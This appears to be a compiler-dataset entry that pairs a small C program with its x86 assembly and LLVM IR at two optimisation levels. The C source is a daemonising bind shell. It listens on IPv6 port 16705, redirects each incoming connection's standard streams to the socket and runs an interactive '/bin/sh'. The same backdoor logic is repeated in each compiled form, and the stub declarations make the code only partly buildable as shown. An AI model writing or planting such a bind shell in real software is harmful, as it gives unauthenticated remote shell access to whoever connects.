#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ tcp;
struct sockaddr_in6 {
  void *sin6_port;
  void *sin6_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ cli;

/* Variables and functions */
int AF_INET6;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, unsigned int *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, int /*<<< orphan*/);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int fork();
void *htons(int);
int /*<<< orphan*/ listen(int, int);
int socket(int, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ wait4(int, int /*<<< orphan*/ *, int /*<<< orphan*/,
                         int /*<<< orphan*/);
int main(void) {
  char *cmd[] = {"/bin/sh", "-i", 0};
  struct sockaddr_in6 cli;
  struct sockaddr_in6 tcp;
  int sock = 0, sock_con = 0;
  unsigned int slen = sizeof(cli);
  unsigned char *ptr = (unsigned char *)&tcp;
  if (fork())
    exit(0);
  sock = socket(AF_INET6, SOCK_STREAM, 0);
  int i = 0;
  for (i = 0; i < sizeof(tcp); i++) {
    ptr[i] = 0;
  };
  tcp.sin6_family = htons(AF_INET6);
  tcp.sin6_port = htons(0x4141);
  bind(sock, (struct sockaddr *)&tcp, sizeof(tcp));
  listen(sock, 1);
  while (1) {
    sock_con = accept(sock, (struct sockaddr *)&tcp, &slen);
    int pid = fork();
    if (pid) {
      dup2(sock_con, 0);
      dup2(sock_con, 1);
      dup2(sock_con, 2);
      execve(*cmd, cmd, 0);
      exit(0);
    }
    close(sock_con);
    wait4(-1, NULL, 0, 0);
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
movl   $0x0,-0x4(%rbp)
mov    0x2c2a(%rip),%rax
mov    %rax,-0x20(%rbp)
mov    0x2c27(%rip),%rax
mov    %rax,-0x18(%rbp)
mov    0x2c24(%rip),%rax
mov    %rax,-0x10(%rbp)
movl   $0x0,-0x44(%rbp)
movl   $0x0,-0x48(%rbp)
movl   $0x10,-0x4c(%rbp)
lea    -0x40(%rbp),%rax
mov    %rax,-0x58(%rbp)
mov    $0x0,%al
call   10c0 <fork@plt>
cmp    $0x0,%eax
je     1214 <main+0x64>
xor    %edi,%edi
call   10b0 <exit@plt>
mov    0x2dc5(%rip),%rax
mov    (%rax),%edi
mov    0x2dac(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
mov    %eax,-0x44(%rbp)
movl   $0x0,-0x5c(%rbp)
movl   $0x0,-0x5c(%rbp)
movslq -0x5c(%rbp),%rax
cmp    $0x10,%rax
jae    1266 <main+0xb6>
mov    -0x58(%rbp),%rax
movslq -0x5c(%rbp),%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x5c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x5c(%rbp)
jmp    123e <main+0x8e>
mov    0x2d73(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,-0x38(%rbp)
mov    $0x4141,%edi
call   1030 <htons@plt>
mov    %rax,-0x40(%rbp)
mov    -0x44(%rbp),%edi
lea    -0x40(%rbp),%rsi
mov    $0x10,%edx
call   1080 <bind@plt>
mov    -0x44(%rbp),%edi
mov    $0x1,%esi
call   1070 <listen@plt>
mov    -0x44(%rbp),%edi
lea    -0x40(%rbp),%rsi
lea    -0x4c(%rbp),%rdx
call   10a0 <accept@plt>
mov    %eax,-0x48(%rbp)
mov    $0x0,%al
call   10c0 <fork@plt>
mov    %eax,-0x60(%rbp)
cmpl   $0x0,-0x60(%rbp)
je     1305 <main+0x155>
mov    -0x48(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x48(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x48(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x20(%rbp),%rdi
lea    -0x20(%rbp),%rsi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %edi,%edi
call   10b0 <exit@plt>
mov    -0x48(%rbp),%edi
call   1050 <close@plt>
mov    $0xffffffff,%edi
xor    %eax,%eax
mov    %eax,%esi
xor    %ecx,%ecx
mov    %ecx,%edx
call   1090 <wait4@plt>
jmp    12a4 <main+0xf4>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x38,%rsp
mov    0x2c3f(%rip),%rax
mov    %rax,0x30(%rsp)
movaps 0x2c23(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movl   $0x10,0xc(%rsp)
xor    %eax,%eax
call   10c0 <fork@plt>
test   %eax,%eax
jne    12d5 <main+0x125>
mov    0x2df0(%rip),%rbp
mov    0x0(%rbp),%edi
mov    0x2dd6(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
mov    %eax,%ebx
mov    0x0(%rbp),%edi
call   1030 <htons@plt>
mov    %rax,0x18(%rsp)
mov    $0x4141,%edi
call   1030 <htons@plt>
mov    %rax,0x10(%rsp)
lea    0x10(%rsp),%rbp
mov    %ebx,%edi
mov    %rbp,%rsi
mov    $0x10,%edx
call   1080 <bind@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1070 <listen@plt>
lea    0xc(%rsp),%rdx
mov    %ebx,%edi
mov    %rbp,%rsi
call   10a0 <accept@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   10c0 <fork@plt>
test   %eax,%eax
jne    12a1 <main+0xf1>
lea    0x10(%rsp),%r14
lea    0xc(%rsp),%r15
nopw   0x0(%rax,%rax,1)
mov    %ebp,%edi
call   1050 <close@plt>
mov    $0xffffffff,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
call   1090 <wait4@plt>
mov    %ebx,%edi
mov    %r14,%rsi
mov    %r15,%rdx
call   10a0 <accept@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   10c0 <fork@plt>
test   %eax,%eax
je     1270 <main+0xc0>
mov    %ebp,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xd37(%rip),%rdi
lea    0x20(%rsp),%rsi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %edi,%edi
call   10b0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in6 = type { i8*, i8* }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"-i\00"
@__const.main.cmd = [3 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i32 0, i32 0), i8* null]
@AF_INET6 = global i32 0
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca i32
%2 = alloca [3 x i8*]
%3 = alloca %struct.sockaddr_in6
%4 = alloca %struct.sockaddr_in6
%5 = alloca i32
%6 = alloca i32
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i32
%10 = alloca i32
store i32 0, i32* %1
%11 = bitcast [3 x i8*]* %2 to i8*
store i32 0, i32* %5
store i32 0, i32* %6
store i32 16, i32* %7
%12 = bitcast %struct.sockaddr_in6* %4 to i8*
store i8* %12, i8** %8
%13 = call i32 (...) @fork()
%14 = icmp ne i32 %13, 0
br i1 %14, label %15, label %17
15: ; preds = %0
%16 = call i32 @exit(i32 0)
unreachable
17: ; preds = %0
%18 = load i32, i32* @AF_INET6
%19 = load i32, i32* @SOCK_STREAM
%20 = call i32 @socket(i32 %18, i32 %19, i32 0)
store i32 %20, i32* %5
store i32 0, i32* %9
store i32 0, i32* %9
br label %21
21: ; preds = %30, %17
%22 = load i32, i32* %9
%23 = sext i32 %22 to i64
%24 = icmp ult i64 %23, 16
br i1 %24, label %25, label %33
25: ; preds = %21
%26 = load i8*, i8** %8
%27 = load i32, i32* %9
%28 = sext i32 %27 to i64
%29 = getelementptr inbounds i8, i8* %26, i64 %28
store i8 0, i8* %29
br label %30
30: ; preds = %25
%31 = load i32, i32* %9
%32 = add nsw i32 %31, 1
store i32 %32, i32* %9
br label %21
33: ; preds = %21
%34 = load i32, i32* @AF_INET6
%35 = call i8* @htons(i32 %34)
%36 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %4, i32 0, i32 1
store i8* %35, i8** %36
%37 = call i8* @htons(i32 16705)
%38 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %4, i32 0, i32 0
store i8* %37, i8** %38
%39 = load i32, i32* %5
%40 = bitcast %struct.sockaddr_in6* %4 to %struct.sockaddr*
%41 = call i32 @bind(i32 %39, %struct.sockaddr* %40, i32 16)
%42 = load i32, i32* %5
%43 = call i32 @listen(i32 %42, i32 1)
br label %44
44: ; preds = %33, %63
%45 = load i32, i32* %5
%46 = bitcast %struct.sockaddr_in6* %4 to %struct.sockaddr*
%47 = call i32 @accept(i32 %45, %struct.sockaddr* %46, i32* %7)
store i32 %47, i32* %6
%48 = call i32 (...) @fork()
store i32 %48, i32* %10
%49 = load i32, i32* %10
%50 = icmp ne i32 %49, 0
br i1 %50, label %51, label %63
51: ; preds = %44
%52 = load i32, i32* %6
%53 = call i32 @dup2(i32 %52, i32 0)
%54 = load i32, i32* %6
%55 = call i32 @dup2(i32 %54, i32 1)
%56 = load i32, i32* %6
%57 = call i32 @dup2(i32 %56, i32 2)
%58 = getelementptr inbounds [3 x i8*], [3 x i8*]* %2, i64 0, i64 0
%59 = load i8*, i8** %58
%60 = getelementptr inbounds [3 x i8*], [3 x i8*]* %2, i64 0, i64 0
%61 = call i32 @execve(i8* %59, i8** %60, i32 0)
%62 = call i32 @exit(i32 0)
unreachable
63: ; preds = %44
%64 = load i32, i32* %6
%65 = call i32 @close(i32 %64)
%66 = call i32 @wait4(i32 -1, i32* null, i32 0, i32 0)
br label %44
}

LLVM IR (-O2):
%struct.sockaddr_in6 = type { i8*, i8* }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"-i\00"
@__const.main.cmd = [3 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i32 0, i32 0), i8* null]
@AF_INET6 = global i32 0
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca [3 x i8*]
%2 = alloca %struct.sockaddr_in6
%3 = bitcast %struct.sockaddr_in6* %2 to i8*
%4 = alloca i32
%5 = bitcast [3 x i8*]* %1 to i8*
%6 = bitcast i32* %4 to i8*
store i32 16, i32* %4
%7 = tail call i32 (...) @fork()
%8 = icmp eq i32 %7, 0
br i1 %8, label %11, label %9
9: ; preds = %0
%10 = tail call i32 @exit(i32 0)
unreachable
11: ; preds = %0
%12 = load i32, i32* @AF_INET6
%13 = load i32, i32* @SOCK_STREAM
%14 = tail call i32 @socket(i32 %12, i32 %13, i32 0)
%15 = load i32, i32* @AF_INET6
%16 = tail call i8* @htons(i32 %15)
%17 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %2, i64 0, i32 1
store i8* %16, i8** %17
%18 = tail call i8* @htons(i32 16705)
%19 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %2, i64 0, i32 0
store i8* %18, i8** %19
%20 = bitcast %struct.sockaddr_in6* %2 to %struct.sockaddr*
%21 = call i32 @bind(i32 %14, %struct.sockaddr* %20, i32 16)
%22 = call i32 @listen(i32 %14, i32 1)
%23 = call i32 @accept(i32 %14, %struct.sockaddr* %20, i32* %4)
%24 = call i32 (...) @fork()
%25 = icmp eq i32 %24, 0
br i1 %25, label %34, label %26
26: ; preds = %34, %11
%27 = phi i32 [ %23, %11 ], [ %38, %34 ]
%28 = call i32 @dup2(i32 %27, i32 0)
%29 = call i32 @dup2(i32 %27, i32 1)
%30 = call i32 @dup2(i32 %27, i32 2)
%31 = getelementptr inbounds [3 x i8*], [3 x i8*]* %1, i64 0, i64 0
%32 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %31, i32 0)
%33 = call i32 @exit(i32 0)
unreachable
34: ; preds = %11, %34
%35 = phi i32 [ %38, %34 ], [ %23, %11 ]
%36 = call i32 @close(i32 %35)
%37 = call i32 @wait4(i32 -1, i32* null, i32 0, i32 0)
%38 = call i32 @accept(i32 %14, %struct.sockaddr* %20, i32* %4)
%39 = call i32 (...) @fork()
%40 = icmp eq i32 %39, 0
br i1 %40, label %34, label %26
}